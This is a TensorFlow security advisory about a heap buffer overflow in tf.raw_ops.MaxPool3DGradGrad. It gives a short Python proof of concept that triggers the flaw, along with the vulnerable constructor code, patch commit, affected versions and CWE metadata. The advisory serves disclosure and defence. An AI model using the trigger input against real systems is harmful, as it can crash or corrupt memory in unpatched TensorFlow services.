The implementation of tf.raw_ops.MaxPool3DGradGrad
is vulnerable to a heap buffer overflow:
import tensorflow as tf
values = [0.01] * 11
orig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.MaxPool3DGradGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding)
The implementation does not check that the initialization of Pool3dParameters
completes successfully:
Pool3dParameters params{context, ksize_, stride_,
padding_, data_format_, tensor_in.shape()};
Since the constructor uses OP_REQUIRES
to validate conditions, the first assertion that fails interrupts the initialization of params
, making it contain invalid data. In turn, this might cause a heap buffer overflow, depending on default initialized values.
We have patched the issue in GitHub commit 63c6a29d0f2d692b247f7bf81f8732d6442fad09.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.
{ "nvd_published_at": "2021-05-14T20:15:00Z", "cwe_ids": [ "CWE-119", "CWE-787" ], "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2021-05-18T18:23:59Z" }